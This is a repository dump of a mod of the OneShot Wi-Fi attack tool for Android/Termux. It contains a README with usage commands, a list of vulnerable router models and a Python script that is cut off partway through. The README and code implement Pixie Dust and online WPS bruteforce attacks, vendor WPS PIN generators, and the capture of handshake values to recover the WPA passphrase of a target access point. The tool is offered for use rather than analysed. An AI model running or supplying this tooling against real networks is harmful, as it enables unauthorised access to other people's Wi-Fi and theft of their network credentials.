├── .gitignore ├── knock.ogg ├── vulnwsc.txt ├── README.md ├── oneshot2.py ├── oneshot1.py └── oneshot.py /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__/ 2 | *.py[cod] 3 | *$py.class 4 | 5 | reports/ 6 | 7 | -------------------------------------------------------------------------------- /knock.ogg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jevgenyonegin/OneShot_Notification_Autorescan_Mod/HEAD/knock.ogg -------------------------------------------------------------------------------- /vulnwsc.txt: -------------------------------------------------------------------------------- 1 | ADSL Router EV-2006-07-27 2 | ADSL RT2860 3 | AIR3G WSC Wireless Access Point AIR3G WSC Device 4 | AirLive Wireless Gigabit AP AirLive Wireless Gigabit AP 5 | Archer_A9 1.0 6 | ArcherC20i 1.0 7 | Archer A2 5.0 8 | Archer A5 4.0 9 | Archer C2 1.0 10 | Archer C2 3.0 11 | Archer C5 4.0 12 | Archer C6 3.20 13 | Archer C6U 1.0.0 14 | Archer C20 1.0 15 | Archer C20 4.0 16 | Archer C20 5.0 17 | Archer C50 1.0 18 | Archer C50 3.0 19 | Archer C50 4.0 20 | Archer C50 5.0 21 | Archer C50 6.0 22 | Archer MR200 1.0 23 | Archer MR200 4.0 24 | Archer MR400 4.2 25 | Archer MR200 5.0 26 | Archer VR300 1.20 27 | Archer VR400 3.0 28 | Archer VR2100 1.0 29 | B-LINK 123456 30 | Belkin AP EV-2012-09-01 31 | DAP-1360 DAP-1360 32 | DIR-635 B3 33 | DIR-819 v1.0.1 34 | DIR-842 DIR-842 35 | DWR-921C3 WBR-0001 36 | D-Link N Router GO-RT-N150 37 | D-Link Router DIR-605L 38 | D-Link Router DIR-615H1 39 | D-Link Router DIR-655 40 | D-Link Router DIR-809 41 | D-Link Router GO-RT-N150 42 | Edimax Edimax 43 | EC120-F5 1.0 44 | EC220-G5 2.0 45 | EV-2009-02-06 46 | Enhanced Wireless Router F6D4230-4 v1 47 | Home Internet Center KEENETIC series 48 | Home Internet Center Keenetic series 49 | Huawei Wireless Access Point RT2860 50 | JWNR2000v2(Wireless AP) JWNR2000v2 51 | Keenetic Keenetic series 52 | Linksys Wireless Access Point EA7500 53 | Linksys Wireless Router WRT110 54 | NBG-419N NBG-419N 55 | Netgear AP EV-2012-08-04 56 | NETGEAR Wireless Access Point NETGEAR 57 | NETGEAR Wireless Access Point R6220 58 | NETGEAR Wireless Access Point R6260 59 | N/A EV-2010-09-20 60 | Ralink Wireless Access Point RT2860 61 | Ralink Wireless Access Point WR-AC1210 62 | RTL8196E 63 | RTL8xxx EV-2009-02-06 64 | RTL8xxx EV-2010-09-20 65 | RTL8xxx RTK_ECOS 66 | RT-G32 1234 67 | Sitecom Wireless Router 300N X2 300N 68 | Smart Router R3 RT2860 69 | Tenda 123456 70 | Timo RA300R4 Timo RA300R4 71 | TD-W8151N RT2860 72 | TD-W8901N RT2860 73 | TD-W8951ND RT2860 74 | TD-W9960 1.0 75 | TD-W9960 1.20 76 | TD-W9960v 1.0 77 | TD-W8968 2.0 78 | TEW-731BR TEW-731BR 79 | TL-MR100 1.0 80 | TL-MR3020 3.0 81 | TL-MR3420 5.0 82 | TL-MR6400 3.0 83 | TL-MR6400 4.0 84 | TL-WA855RE 4.0 85 | TL-WR840N 4.0 86 | TL-WR840N 5.0 87 | TL-WR840N 6.0 88 | TL-WR841N 13.0 89 | TL-WR841N 14.0 90 | TL-WR841HP 5.0 91 | TL-WR842N 5.0 92 | TL-WR845N 3.0 93 | TL-WR845N 4.0 94 | TL-WR850N 1.0 95 | TL-WR850N 2.0 96 | TL-WR850N 3.0 97 | TL-WR1042N EV-2010-09-20 98 | Trendnet router TEW-625br 99 | Trendnet router TEW-651br 100 | VN020-F3 1.0 101 | VMG3312-T20A RT2860 102 | VMG8623-T50A RT2860 103 | WAP300N WAP300N 104 | WAP3205 WAP3205 105 | Wi-Fi Protected Setup Router RT-AC1200G+ 106 | Wi-Fi Protected Setup Router RT-AX55 107 | Wi-Fi Protected Setup Router RT-N10U 108 | Wi-Fi Protected Setup Router RT-N12 109 | Wi-Fi Protected Setup Router RT-N12D1 110 | Wi-Fi Protected Setup Router RT-N12VP 111 | Wireless Access Point . 112 | Wireless Router 123456 113 | Wireless Router RTL8xxx EV-2009-02-06 114 | Wireless Router Wireless Router 115 | Wireless WPS Router <#ZVMODELVZ#> 116 | Wireless WPS Router RT-N10E 117 | Wireless WPS Router RT-N10LX 118 | Wireless WPS Router RT-N12E 119 | Wireless WPS Router RT-N12LX 120 | WN3000RP V3 121 | WN-200R WN-200R 122 | WPS Router (5G) RT-N65U 123 | WPS Router DSL-AC51 124 | WPS Router DSL-AC52U 125 | WPS Router DSL-AC55U 126 | WPS Router DSL-N14U-B1 127 | WPS Router DSL-N16 128 | WPS Router DSL-N17U 129 | WPS Router RT-AC750 130 | WPS Router RT-AC1200 131 | WPS Router RT-AC1200_V2 132 | WPS Router RT-AC1750 133 | WPS Router RT-AC750L 134 | WPS Router RT-AC1750U 135 | WPS Router RT-AC51 136 | WPS Router RT-AC51U 137 | WPS Router RT-AC52U 138 | WPS Router RT-AC52U_B1 139 | WPS Router RT-AC53 140 | WPS Router RT-AC57U 141 | WPS Router RT-AC65P 142 | WPS Router RT-AC85P 143 | WPS Router RT-N11P 144 | WPS Router RT-N12E 145 | WPS Router RT-N12E_B1 146 | WPS Router RT-N12 VP 147 | WPS Router RT-N12+ 148 | WPS Router RT-N14U 149 | WPS Router RT-N56U 150 | WPS Router RT-N56UB1 151 | WPS Router RT-N65U 152 | WPS Router RT-N300 153 | WR5570 2011-05-13 154 | ZyXEL NBG-416N AP Router 155 | ZyXEL NBG-416N AP Router NBG-416N 156 | ZyXEL NBG-418N AP Router 157 | ZyXEL NBG-418N AP Router NBG-418N 158 | ZyXEL Wireless AP Router NBG-417N 159 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # OneShot for Termux with vibro/sound notification and 10 seconds delay between autorescan 2 | 3 | ## FIRST! 4 | ``` 5 | pkg install play audio 6 | ``` 7 | ## Sound notification file can be changed in 1024 line (default is knock.ogg) 8 | https://github.com/jevgenyonegin/OneShot_Notification-Autorescan_Mod/blob/c9b4088fa1abc027294d4d58712934318b16446f/oneshot.py#L1024 9 | 10 | ## Delay can be changed in 1039 line (default is 10) 11 | https://github.com/jevgenyonegin/OneShot_Notification-Autorescan_Mod/blob/c9b4088fa1abc027294d4d58712934318b16446f/oneshot.py#L1039 12 | Use termux wakelock option to keep running with screen off! 13 | 14 | # Overview 15 | **OneShot** performs [Pixie Dust attack](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-Offline-WPS-Attack) without having to switch to monitor mode. 16 | # Features 17 | - oneshot.py - based on drygdryg 18 | project with notification and rescan 19 | - oneshot1.py - without rescan 20 | - oneshot2.py - vilvius31 mod, using bases of known MAC&Pins with notification 21 | - [Pixie Dust attack](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-Offline-WPS-Attack); 22 | - integrated [3WiFi offline WPS PIN generator](https://3wifi.stascorp.com/wpspin); 23 | - [online WPS bruteforce](https://sviehb.files.wordpress.com/2011/12/viehboeck_wps.pdf); 24 | - Wi-Fi scanner with highlighting based on iw; 25 | # Requirements 26 | - Python 3.6 and above; 27 | - [Wpa supplicant](https://www.w1.fi/wpa_supplicant/); 28 | - [Pixiewps](https://github.com/wiire-a/pixiewps); 29 | - [iw](https://wireless.wiki.kernel.org/en/users/documentation/iw). 30 | # Setup 31 | 32 | ## [Termux](https://f-droid.org/en/packages/com.termux/) 33 | Please note that root access is required. 34 | 35 | **Installing requirements** 36 | ``` 37 | pkg install -y root-repo 38 | pkg install -y git tsu python wpa-supplicant pixiewps iw openssl play-audio 39 | ``` 40 | **Getting OneShot** 41 | ``` 42 | git clone --depth 1 https://github.com/jevgenyonegin/OneShot_Termux_mod OneShot 43 | ``` 44 | #### Running 45 | ``` 46 | sudo python OneShot/oneshot.py -i wlan0 --iface-down -K 47 | ``` 48 | 49 | # Usage 50 | ``` 51 | oneshot.py 52 | Required arguments: 53 | -i, --interface= : Name of the interface to use 54 | 55 | Optional arguments: 56 | -b, --bssid= : BSSID of the target AP 57 | -p, --pin= : Use the specified pin (arbitrary string or 4/8 digit pin) 58 | -K, --pixie-dust : Run Pixie Dust attack 59 | -B, --bruteforce : Run online bruteforce attack 60 | --pbc : Run WPS push button connection 61 | 62 | Advanced arguments: 63 | -d, --delay= : Set the delay between pin attempts [0] 64 | -w, --write : Write AP credentials to the file on success 65 | -F, --pixie-force : Run Pixiewps with --force option (bruteforce full range) 66 | -X, --show-pixie-cmd : Alway print Pixiewps command 67 | --vuln-list= : Use custom file with vulnerable devices list ['vulnwsc.txt'] 68 | --iface-down : Down network interface when the work is finished 69 | -l, --loop : Run in a loop 70 | --mtk-wifi : Activate MediaTek Wi-Fi interface driver on startup and deactivate it on exit 71 | (for internal Wi-Fi adapters implemented in MediaTek SoCs). Turn off Wi-Fi in the system settings before using this. 72 | -v, --verbose : Verbose output 73 | ``` 74 | 75 | ## Usage examples 76 | Start Pixie Dust attack on a specified BSSID: 77 | ``` 78 | sudo python3 oneshot.py -i wlan0 -b 00:90:4C:C1:AC:21 -K 79 | ``` 80 | Show avaliable networks and start Pixie Dust attack on a specified network: 81 | ``` 82 | sudo python3 oneshot.py -i wlan0 -K 83 | ``` 84 | Launch online WPS bruteforce with the specified first half of the PIN: 85 | ``` 86 | sudo python3 oneshot.py -i wlan0 -b 00:90:4C:C1:AC:21 -B -p 1234 87 | ``` 88 | ## Troubleshooting 89 | #### "RTNETLINK answers: Operation not possible due to RF-kill" 90 | Just run: 91 | ```sudo rfkill unblock wifi``` 92 | #### "Device or resource busy (-16)" 93 | Try disabling Wi-Fi in the system settings and kill the Network manager. Alternatively, you can try running OneShot with ```--iface-down``` argument. 94 | #### The wlan0 interface disappears when Wi-Fi is disabled on Android devices with MediaTek SoC 95 | Try run the following: 96 | ``` 97 | sudo chmod 644 /dev/wmtWifi 98 | sudo sh -c 'echo 1 > /dev/wmtWifi' 99 | ``` 100 | # Acknowledgements 101 | ## Special Thanks 102 | * `rofl0r` for initial implementation; 103 | * **`drygdryg` for developing OneShot**; 104 | * `Monohrom` for testing, help in catching bugs, some ideas; 105 | * `Wiire` developing Pixiewps; 106 | * **`eda-abec` for vulwsc updates and support**; 107 | * `vilvius31` for project support; 108 | -------------------------------------------------------------------------------- /oneshot2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | import sys 4 | import subprocess 5 | import os 6 | import tempfile 7 | import shutil 8 | import re 9 | import codecs 10 | import socket 11 | import pathlib 12 | import time 13 | from datetime import datetime 14 | import collections 15 | import statistics 16 | from pathlib import Path 17 | from typing import Dict 18 | import csv 19 | 20 | 21 | class NetworkAddress: 22 | def __init__(self, mac): 23 | if isinstance(mac, int): 24 | self._int_repr = mac 25 | self._str_repr = self._int2mac(mac) 26 | elif isinstance(mac, str): 27 | self._str_repr = mac.replace('-', ':').replace('.', ':').upper() 28 | self._int_repr = self._mac2int(mac) 29 | else: 30 | raise ValueError('MAC address must be string or integer') 31 | 32 | @property 33 | def string(self): 34 | return self._str_repr 35 | 36 | @string.setter 37 | def string(self, value): 38 | self._str_repr = value 39 | self._int_repr = self._mac2int(value) 40 | 41 | @property 42 | def integer(self): 43 | return self._int_repr 44 | 45 | @integer.setter 46 | def integer(self, value): 47 | self._int_repr = value 48 | self._str_repr = self._int2mac(value) 49 | 50 | def __int__(self): 51 | return self.integer 52 | 53 | def __str__(self): 54 | return self.string 55 | 56 | def __iadd__(self, other): 57 | self.integer += other 58 | 59 | def __isub__(self, other): 60 | self.integer -= other 61 | 62 | def __eq__(self, other): 63 | return self.integer == other.integer 64 | 65 | def __ne__(self, other): 66 | return self.integer != other.integer 67 | 68 | def __lt__(self, other): 69 | return self.integer < other.integer 70 | 71 | def __gt__(self, other): 72 | return self.integer > other.integer 73 | 74 | @staticmethod 75 | def _mac2int(mac): 76 | return int(mac.replace(':', ''), 16) 77 | 78 | @staticmethod 79 | def _int2mac(mac): 80 | mac = hex(mac).split('x')[-1].upper() 81 | mac = mac.zfill(12) 82 | mac = ':'.join(mac[i:i+2] for i in range(0, 12, 2)) 83 | return mac 84 | 85 | def __repr__(self): 86 | return 'NetworkAddress(string={}, integer={})'.format( 87 | self._str_repr, self._int_repr) 88 | 89 | 90 | class WPSpin: 91 | """WPS pin generator""" 92 | def __init__(self): 93 | self.ALGO_MAC = 0 94 | self.ALGO_EMPTY = 1 95 | self.ALGO_STATIC_DB = 2 96 | 97 | self.algos = {'pin24': {'name': '24-bit PIN', 'mode': self.ALGO_MAC, 'gen': self.pin24}, 98 | 'pin28': {'name': '28-bit PIN', 'mode': self.ALGO_MAC, 'gen': self.pin28}, 99 | 'pin32': {'name': '32-bit PIN', 'mode': self.ALGO_MAC, 'gen': self.pin32}, 100 | 'pinDLink': {'name': 'D-Link PIN', 'mode': self.ALGO_MAC, 'gen': self.pinDLink}, 101 | 'pinDLink1': {'name': 'D-Link PIN +1', 'mode': self.ALGO_MAC, 'gen': self.pinDLink1}, 102 | 'pinASUS': {'name': 'ASUS PIN', 'mode': self.ALGO_MAC, 'gen': self.pinASUS}, 103 | 'pinAirocon': {'name': 'Airocon Realtek', 'mode': self.ALGO_MAC, 'gen': self.pinAirocon}, 104 | 'pinEasybox': {'name': 'EasyBox', 'mode': self.ALGO_MAC, 'gen': self.pinEasybox}, 105 | 'pinArris': {'name': 'Arris', 'mode': self.ALGO_MAC, 'gen': self.pinArris}, 106 | 'pinTrendNet': {'name': 'TrendNet', 'mode': self.ALGO_MAC, 'gen': self.pinTrendNet}, 107 | # Static pin algos 108 | 'pinGeneric': {'name': 'Static', 'mode': self.ALGO_STATIC_DB, 'gen': lambda mac: 1234567, 'static': []}, 109 | 'pinEmpty': {'name': 'Empty PIN', 'mode': self.ALGO_EMPTY, 'gen': lambda mac: ''}} 110 | 111 | @staticmethod 112 | def checksum(pin): 113 | """ 114 | Standard WPS checksum algorithm. 115 | @pin — A 7 digit pin to calculate the checksum for. 116 | Returns the checksum value. 117 | """ 118 | accum = 0 119 | while pin: 120 | accum += (3 * (pin % 10)) 121 | pin = int(pin / 10) 122 | accum += (pin % 10) 123 | pin = int(pin / 10) 124 | return (10 - accum % 10) % 10 125 | 126 | def generate(self, algo, mac): 127 | """ 128 | WPS pin generator 129 | @algo — the WPS pin algorithm ID 130 | Returns the WPS pin string value 131 | """ 132 | mac = NetworkAddress(mac) 133 | if algo not in self.algos: 134 | raise ValueError('Invalid WPS pin algorithm') 135 | pin = self.algos[algo]['gen'](mac) 136 | new_algos = {'pinEmpty', 'pinEasybox', 'pinArris', 'pinTrendNet'} 137 | if algo in new_algos: 138 | return pin 139 | pin = pin % 10000000 140 | pin = str(pin) + str(self.checksum(pin)) 141 | return pin.zfill(8) 142 | 143 | def getSuggested(self, mac): 144 | """ 145 | Get all suggested WPS pin's for single MAC 146 | """ 147 | algos = self._suggest(mac) 148 | res = [] 149 | for ID in algos: 150 | algo = self.algos[ID] 151 | item = {} 152 | item['id'] = ID 153 | if algo['mode'] == self.ALGO_STATIC_DB: 154 | for pins_static in self.algos['pinGeneric']['static']: 155 | if pins_static.isdigit(): 156 | new_item = {'name': 'Static PIN DB', 'pin': pins_static} 157 | res.append(new_item) 158 | else: 159 | item['name'] = algo['name'] 160 | item['pin'] = self.generate(ID, mac) 161 | res.append(item) 162 | self.algos['pinGeneric']['static'].clear() 163 | return res 164 | 165 | def getSuggestedList(self, mac): 166 | """ 167 | Get all suggested WPS pin's for single MAC as list 168 | """ 169 | algos = self._suggest(mac) 170 | res = [] 171 | for algo in algos: 172 | res.append(self.generate(algo, mac)) 173 | return res 174 | 175 | def getLikely(self, mac): 176 | res = self.getSuggestedList(mac) 177 | if res: 178 | return res[0] 179 | else: 180 | return None 181 | 182 | def append_from_pin_csv(self, pin_file_path, mac): 183 | with open(pin_file_path, newline='') as csvfile: 184 | reader = csv.reader(csvfile) 185 | for row in reader: 186 | if mac.startswith(row[1]): 187 | self.algos['pinGeneric']['static'].append(row[0]) 188 | 189 | def _suggest(self, mac): 190 | """ 191 | Get algos suggestions for single MAC 192 | All the algos will be returned since they can work sometimes 193 | The static pins will be added only if they are included in the csv for that specific mac 194 | Returns the algo ID 195 | """ 196 | self.append_from_pin_csv(os.path.join(os.path.dirname(os.path.realpath(__file__)), 'pins.csv'), mac.upper()) 197 | res = [] 198 | for algo_id in self.algos: 199 | res.append(algo_id) 200 | 201 | return res 202 | 203 | def pinTrendNet(self, bssid): 204 | try: 205 | last_3 = bssid.string.replace(':', '')[-6:] 206 | merge = last_3[4:] + last_3[2:4] + last_3[:2] 207 | string = int(merge, 16) % 10000000 208 | pin = 10 * string 209 | pin_with_checksum = pin + self.checksum(pin) 210 | return f"{pin_with_checksum:08d}" 211 | except ValueError: 212 | return "12345670" 213 | 214 | def pinEasybox(self, bssid): 215 | try: 216 | last_two = bssid.string.replace(':', '')[-4:] 217 | sn = int(last_two, 16) 218 | snstr = f"{sn:05d}" 219 | 220 | mac = [int(c, 16) for c in last_two] 221 | sn_digits = [int(c) for c in snstr[1:]] 222 | 223 | k1 = (sum(sn_digits[:2]) + sum(mac[2:])) % 16 224 | k2 = (sum(sn_digits[2:]) + sum(mac[:2])) % 16 225 | 226 | hpin = [ 227 | k1 ^ sn_digits[3], 228 | k1 ^ sn_digits[2], 229 | k2 ^ mac[1], 230 | k2 ^ mac[2], 231 | mac[2] ^ sn_digits[3], 232 | mac[3] ^ sn_digits[2], 233 | k1 ^ sn_digits[1] 234 | ] 235 | 236 | hpin_str = ''.join(f"{x:X}" for x in hpin) 237 | hpinint = int(hpin_str, 16) % 10000000 238 | return f"{hpinint:07d}{self.checksum(hpinint)}" 239 | 240 | except ValueError: 241 | return 12345670 242 | 243 | def pinArris(self, bssid): 244 | def fib_gen(n, memo={}): 245 | if n in memo: 246 | return memo[n] 247 | if n in (0, 1, 2): 248 | return 1 249 | memo[n] = fib_gen(n - 1, memo) + fib_gen(n - 2, memo) 250 | return memo[n] 251 | 252 | macs = bssid.string.split(":") 253 | array_macs = [int(mac, 16) for mac in macs] 254 | 255 | fibnum = [] 256 | for i, mac in enumerate(array_macs): 257 | adjusted_mac = mac 258 | counter = 0 259 | 260 | if adjusted_mac > 30: 261 | while adjusted_mac > 31: 262 | adjusted_mac -= 16 263 | counter += 1 264 | 265 | if counter == 0 and adjusted_mac < 3: 266 | adjusted_mac = sum(array_macs) - adjusted_mac 267 | adjusted_mac &= 0xff 268 | adjusted_mac = (adjusted_mac % 28) + 3 269 | 270 | fibnum.append(fib_gen(adjusted_mac) + (fib_gen(counter) if counter else 0)) 271 | 272 | fibsum = sum(fib * fib_gen(i + 16) for i, fib in enumerate(fibnum)) + sum(array_macs) 273 | fibsum = (fibsum % 10000000 * 10) + self.checksum(fibsum) 274 | 275 | return f"{fibsum:08d}" 276 | 277 | def pin24(self, mac): 278 | return mac.integer & 0xFFFFFF 279 | 280 | def pin28(self, mac): 281 | return mac.integer & 0xFFFFFFF 282 | 283 | def pin32(self, mac): 284 | return mac.integer % 0x100000000 285 | 286 | def pinDLink(self, mac): 287 | # Get the NIC part 288 | nic = mac.integer & 0xFFFFFF 289 | # Calculating pin 290 | pin = nic ^ 0x55AA55 291 | pin ^= (((pin & 0xF) << 4) + 292 | ((pin & 0xF) << 8) + 293 | ((pin & 0xF) << 12) + 294 | ((pin & 0xF) << 16) + 295 | ((pin & 0xF) << 20)) 296 | pin %= int(10e6) 297 | if pin < int(10e5): 298 | pin += ((pin % 9) * int(10e5)) + int(10e5) 299 | return pin 300 | 301 | def pinDLink1(self, mac): 302 | mac.integer += 1 303 | return self.pinDLink(mac) 304 | 305 | def pinASUS(self, mac): 306 | b = [int(i, 16) for i in mac.string.split(':')] 307 | pin = '' 308 | for i in range(7): 309 | pin += str((b[i % 6] + b[5]) % (10 - (i + b[1] + b[2] + b[3] + b[4] + b[5]) % 7)) 310 | return int(pin) 311 | 312 | def pinAirocon(self, mac): 313 | b = [int(i, 16) for i in mac.string.split(':')] 314 | pin = ((b[0] + b[1]) % 10)\ 315 | + (((b[5] + b[0]) % 10) * 10)\ 316 | + (((b[4] + b[5]) % 10) * 100)\ 317 | + (((b[3] + b[4]) % 10) * 1000)\ 318 | + (((b[2] + b[3]) % 10) * 10000)\ 319 | + (((b[1] + b[2]) % 10) * 100000)\ 320 | + (((b[0] + b[1]) % 10) * 1000000) 321 | return pin 322 | 323 | 324 | def recvuntil(pipe, what): 325 | s = '' 326 | while True: 327 | inp = pipe.stdout.read(1) 328 | if inp == '': 329 | return s 330 | s += inp 331 | if what in s: 332 | return s 333 | 334 | 335 | def get_hex(line): 336 | a = line.split(':', 3) 337 | return a[2].replace(' ', '').upper() 338 | 339 | 340 | class PixiewpsData: 341 | def __init__(self): 342 | self.pke = '' 343 | self.pkr = '' 344 | self.e_hash1 = '' 345 | self.e_hash2 = '' 346 | self.authkey = '' 347 | self.e_nonce = '' 348 | 349 | def clear(self): 350 | self.__init__() 351 | 352 | def got_all(self): 353 | return (self.pke and self.pkr and self.e_nonce and self.authkey 354 | and self.e_hash1 and self.e_hash2) 355 | 356 | def get_pixie_cmd(self, full_range=False): 357 | pixiecmd = "pixiewps --pke {} --pkr {} --e-hash1 {}"\ 358 | " --e-hash2 {} --authkey {} --e-nonce {}".format( 359 | self.pke, self.pkr, self.e_hash1, 360 | self.e_hash2, self.authkey, self.e_nonce) 361 | if full_range: 362 | pixiecmd += ' --force' 363 | return pixiecmd 364 | 365 | 366 | class ConnectionStatus: 367 | def __init__(self): 368 | self.status = '' # Must be WSC_NACK, WPS_FAIL or GOT_PSK 369 | self.last_m_message = 0 370 | self.essid = '' 371 | self.wpa_psk = '' 372 | 373 | def isFirstHalfValid(self): 374 | return self.last_m_message > 5 375 | 376 | def clear(self): 377 | self.__init__() 378 | 379 | 380 | class BruteforceStatus: 381 | def __init__(self): 382 | self.start_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") 383 | self.mask = '' 384 | self.last_attempt_time = time.time() # Last PIN attempt start time 385 | self.attempts_times = collections.deque(maxlen=15) 386 | 387 | self.counter = 0 388 | self.statistics_period = 5 389 | 390 | def display_status(self): 391 | average_pin_time = statistics.mean(self.attempts_times) 392 | if len(self.mask) == 4: 393 | percentage = int(self.mask) / 11000 * 100 394 | else: 395 | percentage = ((10000 / 11000) + (int(self.mask[4:]) / 11000)) * 100 396 | print('[*] {:.2f}% complete @ {} ({:.2f} seconds/pin)'.format( 397 | percentage, self.start_time, average_pin_time)) 398 | 399 | def registerAttempt(self, mask): 400 | self.mask = mask 401 | self.counter += 1 402 | current_time = time.time() 403 | self.attempts_times.append(current_time - self.last_attempt_time) 404 | self.last_attempt_time = current_time 405 | if self.counter == self.statistics_period: 406 | self.counter = 0 407 | self.display_status() 408 | 409 | def clear(self): 410 | self.__init__() 411 | 412 | 413 | class Companion: 414 | """Main application part""" 415 | def __init__(self, interface, save_result=False, print_debug=False): 416 | self.interface = interface 417 | self.save_result = save_result 418 | self.print_debug = print_debug 419 | 420 | self.tempdir = tempfile.mkdtemp() 421 | with tempfile.NamedTemporaryFile(mode='w', suffix='.conf', delete=False) as temp: 422 | temp.write('ctrl_interface={}\nctrl_interface_group=root\nupdate_config=1\n'.format(self.tempdir)) 423 | self.tempconf = temp.name 424 | self.wpas_ctrl_path = f"{self.tempdir}/{interface}" 425 | self.__init_wpa_supplicant() 426 | 427 | self.res_socket_file = f"{tempfile._get_default_tempdir()}/{next(tempfile._get_candidate_names())}" 428 | self.retsock = socket.socket(socket.AF_UNIX, socket.SOCK_DGRAM) 429 | self.retsock.bind(self.res_socket_file) 430 | 431 | self.pixie_creds = PixiewpsData() 432 | self.connection_status = ConnectionStatus() 433 | 434 | user_home = str(pathlib.Path.home()) 435 | self.sessions_dir = f'{user_home}/.OneShot/sessions/' 436 | self.pixiewps_dir = f'{user_home}/.OneShot/pixiewps/' 437 | self.reports_dir = os.path.dirname(os.path.realpath(__file__)) + '/reports/' 438 | if not os.path.exists(self.sessions_dir): 439 | os.makedirs(self.sessions_dir) 440 | if not os.path.exists(self.pixiewps_dir): 441 | os.makedirs(self.pixiewps_dir) 442 | 443 | self.generator = WPSpin() 444 | 445 | def __init_wpa_supplicant(self): 446 | print('[*] Running wpa_supplicant…') 447 | cmd = 'wpa_supplicant -K -d -Dnl80211,wext,hostapd,wired -i{} -c{}'.format(self.interface, self.tempconf) 448 | self.wpas = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, 449 | stderr=subprocess.STDOUT, encoding='utf-8', errors='replace') 450 | # Waiting for wpa_supplicant control interface initialization 451 | while True: 452 | ret = self.wpas.poll() 453 | if ret is not None and ret != 0: 454 | raise ValueError('wpa_supplicant returned an error: ' + self.wpas.communicate()[0]) 455 | if os.path.exists(self.wpas_ctrl_path): 456 | break 457 | time.sleep(.1) 458 | 459 | def sendOnly(self, command): 460 | """Sends command to wpa_supplicant""" 461 | self.retsock.sendto(command.encode(), self.wpas_ctrl_path) 462 | 463 | def sendAndReceive(self, command): 464 | """Sends command to wpa_supplicant and returns the reply""" 465 | self.retsock.sendto(command.encode(), self.wpas_ctrl_path) 466 | (b, address) = self.retsock.recvfrom(4096) 467 | inmsg = b.decode('utf-8', errors='replace') 468 | return inmsg 469 | 470 | @staticmethod 471 | def _explain_wpas_not_ok_status(command: str, respond: str): 472 | if command.startswith(('WPS_REG', 'WPS_PBC')): 473 | if respond == 'UNKNOWN COMMAND': 474 | return ('[!] It looks like your wpa_supplicant is compiled without WPS protocol support. ' 475 | 'Please build wpa_supplicant with WPS support ("CONFIG_WPS=y")') 476 | return '[!] Something went wrong — check out debug log' 477 | 478 | def __handle_wpas(self, pixiemode=False, pbc_mode=False, verbose=None): 479 | if not verbose: 480 | verbose = self.print_debug 481 | line = self.wpas.stdout.readline() 482 | if not line: 483 | self.wpas.wait() 484 | return False 485 | line = line.rstrip('\n') 486 | 487 | if verbose: 488 | sys.stderr.write(line + '\n') 489 | 490 | if line.startswith('WPS: '): 491 | if 'Building Message M' in line: 492 | n = int(line.split('Building Message M')[1].replace('D', '')) 493 | self.connection_status.last_m_message = n 494 | print('[*] Sending WPS Message M{}…'.format(n)) 495 | elif 'Received M' in line: 496 | n = int(line.split('Received M')[1]) 497 | self.connection_status.last_m_message = n 498 | print('[*] Received WPS Message M{}'.format(n)) 499 | if n == 5: 500 | print('[+] The first half of the PIN is valid') 501 | elif 'Enrollee Nonce' in line and 'hexdump' in line: 502 | self.pixie_creds.e_nonce = get_hex(line) 503 | assert(len(self.pixie_creds.e_nonce) == 16*2) 504 | if pixiemode: 505 | print('[P] E-Nonce: {}'.format(self.pixie_creds.e_nonce)) 506 | elif 'DH own Public Key' in line and 'hexdump' in line: 507 | self.pixie_creds.pkr = get_hex(line) 508 | assert(len(self.pixie_creds.pkr) == 192*2) 509 | if pixiemode: 510 | print('[P] PKR: {}'.format(self.pixie_creds.pkr)) 511 | elif 'DH peer Public Key' in line and 'hexdump' in line: 512 | self.pixie_creds.pke = get_hex(line) 513 | assert(len(self.pixie_creds.pke) == 192*2) 514 | if pixiemode: 515 | print('[P] PKE: {}'.format(self.pixie_creds.pke)) 516 | elif 'AuthKey' in line and 'hexdump' in line: 517 | self.pixie_creds.authkey = get_hex(line) 518 | assert(len(self.pixie_creds.authkey) == 32*2) 519 | if pixiemode: 520 | print('[P] AuthKey: {}'.format(self.pixie_creds.authkey)) 521 | elif 'E-Hash1' in line and 'hexdump' in line: 522 | self.pixie_creds.e_hash1 = get_hex(line) 523 | assert(len(self.pixie_creds.e_hash1) == 32*2) 524 | if pixiemode: 525 | print('[P] E-Hash1: {}'.format(self.pixie_creds.e_hash1)) 526 | elif 'E-Hash2' in line and 'hexdump' in line: 527 | self.pixie_creds.e_hash2 = get_hex(line) 528 | assert(len(self.pixie_creds.e_hash2) == 32*2) 529 | if pixiemode: 530 | print('[P] E-Hash2: {}'.format(self.pixie_creds.e_hash2)) 531 | elif 'Network Key' in line and 'hexdump' in line: 532 | self.connection_status.status = 'GOT_PSK' 533 | self.connection_status.wpa_psk = bytes.fromhex(get_hex(line)).decode('utf-8', errors='replace') 534 | elif ': State: ' in line: 535 | if '-> SCANNING' in line: 536 | self.connection_status.status = 'scanning' 537 | print('[*] Scanning…') 538 | elif ('WPS-FAIL' in line) and (self.connection_status.status != ''): 539 | if 'msg=5 config_error=15' in line: 540 | print('[*] Received WPS-FAIL with reason: WPS LOCKED') 541 | if not pixiemode: 542 | self.connection_status.status = 'WPS_FAIL' 543 | elif 'msg=8' in line: 544 | if 'config_error=15' in line: 545 | print('[*] Received WPS-FAIL with reason: WPS LOCKED') 546 | if not pixiemode: 547 | self.connection_status.status = 'WPS_FAIL' 548 | else: 549 | self.connection_status.status = 'WSC_NACK' 550 | print('[-] Error: PIN was wrong') 551 | elif 'config_error=2' in line: 552 | print('[*] Received WPS-FAIL with reason: CRC FAILURE') 553 | self.connection_status.status = 'WPS_FAIL' 554 | else: 555 | self.connection_status.status = 'WPS_FAIL' 556 | # elif 'NL80211_CMD_DEL_STATION' in line: 557 | # print("[!] Unexpected interference — kill NetworkManager/wpa_supplicant!") 558 | elif 'Trying to authenticate with' in line: 559 | self.connection_status.status = 'authenticating' 560 | if 'SSID' in line: 561 | self.connection_status.essid = (codecs.decode("'".join(line.split("'")[1:-1]), 'unicode-escape') 562 | .encode('latin1').decode('utf-8', errors='replace')) 563 | print('[*] Authenticating…') 564 | elif 'Authentication response' in line: 565 | print('[+] Authenticated') 566 | elif 'Trying to associate with' in line: 567 | self.connection_status.status = 'associating' 568 | 